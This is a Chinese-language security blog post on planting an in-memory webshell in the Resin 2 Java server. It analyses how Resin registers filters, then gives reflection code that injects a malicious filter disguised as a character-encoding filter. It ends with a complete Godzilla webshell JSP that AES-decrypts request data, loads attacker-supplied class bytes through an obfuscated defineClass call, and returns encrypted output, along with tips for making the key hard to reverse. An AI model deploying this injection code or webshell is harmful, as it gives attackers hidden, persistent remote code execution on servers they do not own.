Java安全之Resin2内存马
环境#
resin2.1.17
添加Filter分析#
依然是web.xml注册一个filter,debug进去看注册流程
debug dofilter逻辑时看到如下代码,最终走入this._filterChain = this._application.buildFilterChain(this, this._config);
去build filterchain。并且貌似是初始化的时候才会去buildfilterchain,当后面第二次再走时,这里的_filterchain
已经是有值的了。
this._application
应为上下文对象,继续往下跟通过QFilterConfig#createFilter
来创建了一个Filter,之后new 了一个FilterChain
注意下面三个对象,添加上即可
_filterMap#
首先看FilterMap
构造,主要是Regexp,QFilterConfig
后面再说
可以反射实例化之后调用方法或者set属性来设置值
class FilterMap {
static L10N L;
private String servletName;
private Regexp regexp;
private Object data;
FilterMap() {
}
void setServletName(String servletName) {
this.servletName = servletName;
}
void setRegexp(String regexpPattern, String flags) throws Exception {
this.regexp = new Regexp(regexpPattern, flags);
}
void setURLPattern(String urlPattern, String flags) throws ServletException {
this.regexp = this.urlPatternToRegexp(urlPattern, flags);
}
下面看Regexp ,其实就是一个正则来控制的路由处理
^.*$
^(?=/)|^$
调用有参构造即可
_filters#
hashtable对象,key为filtername,value为QFilterConfig对象,key可以随便伪造成个正常的
_filterList#
直接add一个QFilterConfig元素即可
看到QConfigFilter,Registry为空就走if的逻辑,传入构造好的属性即可
package com.caucho.server.http;
import com.caucho.util.BeanUtil;
import com.caucho.util.CauchoSystem;
import com.caucho.util.L10N;
import com.caucho.util.RegistryNode;
import java.util.Collections;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import javax.servlet.Filter;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
class QFilterConfig implements FilterConfig {
static L10N L;
private static HashMap _configElements;
private Application _application;
private RegistryNode _registry;
private RegistryNode _initRegistry;
private String _name;
private String _className;
private HashMap _init;
private Filter _filter;
QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {
this._application = application;
this._registry = registry;
this._name = name;
this._init = new HashMap();
if (registry == null) {
if (defaultClassName == null) {
this._className = name;
} else {
this._className = defaultClassName;
}
} else {
this._className = registry.getString("filter-class", defaultClassName);
Iterator iter = registry.iterator();
while(iter.hasNext()) {
RegistryNode node = (RegistryNode)iter.next();
if (node.getName().equals("init-param")) {
try {
application.fillParam(node, this._init);
} catch (ServletException var8) {
throw var8;
} catch (Exception var9) {
throw new ServletException(var9);
}
} else if (node.getName().equals("init")) {
this._initRegistry = node;
} else if (_configElements.get(node.getName()) == null) {
throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));
}
}
}
}
后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。
//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
List keys = new ArrayList();
keys.add(new Keyword.Builder().setField_type("Request").build());
keys.add(new Keyword.Builder().setField_type("Application").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp/");
searcher.searchObject();
result
# Request
TargetObject = {java.lang.Thread}
---> target = {com.caucho.server.TcpConnection}
---> request = {com.caucho.server.http.HttpRequest}
# Application
TargetObject = {java.lang.Thread}
---> contextClassLoader = {com.caucho.java.CompilingClassLoader}
---> attributes = {java.util.Hashtable}
---> attributes = {com.caucho.server.http.Application}
后面直接添加即可
主要代码
private static void doInject(){
filterName = "CharacterEncodingFilter-" + System.nanoTime();
try {
if (APPLICATION !=null){
// Regexp
// Class RegexpClazz = getClazz("com.caucho.regexp.Regexp");
// Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class);
// Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");
// QFilterConfig
Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");
Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));
QFilterConfigConstructor.setAccessible(true);
Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);
// FilterMap
Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");
Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();
filterMapConstructor.setAccessible(true);
Object filterMap = filterMapConstructor.newInstance();
// set FilterMap regexp
Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);
setRegexpMethod.setAccessible(true);
setRegexpMethod.invoke(filterMap,"/*", null);
// set FilterMap data
Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);
setDataMethod.setAccessible(true);
setDataMethod.invoke(filterMap,QFilterConfigObj);
// add FilterMap 2 _filterMap
ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");
_filterMap.add(filterMap);
// add QFilterConfig 2 _filterList
ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");
_filterList.add(QFilterConfigObj);
// put QFilterConfig 2 _filters
Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");
_filters.put(filterName, QFilterConfigObj);
}
} catch (Exception e) {
}
}
private static void getApplication(){
Thread thread = Thread.currentThread();
ClassLoader contextClassLoader = thread.getContextClassLoader();
Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");
APPLICATION = attributesObj1.get("caucho.application");
}
但是有个弊端,debug逻辑的时候发现,只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。
并且即便是_filterList.add(0, QFilterConfigObj);
虽然会加到第一个 但是顺序好像会有问题,不是根据ArrayList来调用doFilter方法的。
Godzilla#
解决思路
将jsp🐎写成servlet debug
第一次请求
base64deocode后的data
aes decode后 data
第二次请求
base64decode后 data
aes decode后 data
arrout输出
第二次输出
最后定位到问题为md5操作不可以写在dopost方法里,否则每次请求都回去md5导致密码和key一直在改变,暂时的解决办法是手动md5将该值放到属性中,所以使用哥斯拉时 key的值尽量又臭又长,防止被逆。
最终Godzilla jsp password/token
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%!
String xc="94a08da1fecbb6e8";
String pass="password";
String md5 = "e993fa7e0bd02f84492c51357d1f5919".toUpperCase();
Class payload ;
%>
<%
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{request.getParameter(pass)});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{request.getParameter(pass)});
} catch (Exception e2) {
}
}
byte[] data = value;
boolean decode = false;
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(decode ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
data = c.doFinal(data);
} catch (Exception e) {
}
URLClassLoader urlClassLoader;
try {
if (payload == null) {
urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), new Class[]{byte[].class, int.class, int.class});
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, new Object[]{data, new Integer(0), new Integer(data.length)});
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(md5.substring(0, 16));
f.toString();
boolean n = true;
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(n ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
byte[] tmp = c.doFinal(arrOut.toByteArray());
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
String tmpvalue = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{tmp});
response.getWriter().write(tmpvalue);
response.getWriter().write(md5.substring(16));
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
String tmpvalue = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{tmp});
response.getWriter().write(tmpvalue);
response.getWriter().write(md5.substring(16));
} catch (Exception e2) {
}
}
} catch (Exception e) {
}
}
} catch (Exception e) {
}
%>
最后#
项目遇到的感觉比较有趣且极端的问题,虽然也不是很好的解决方案。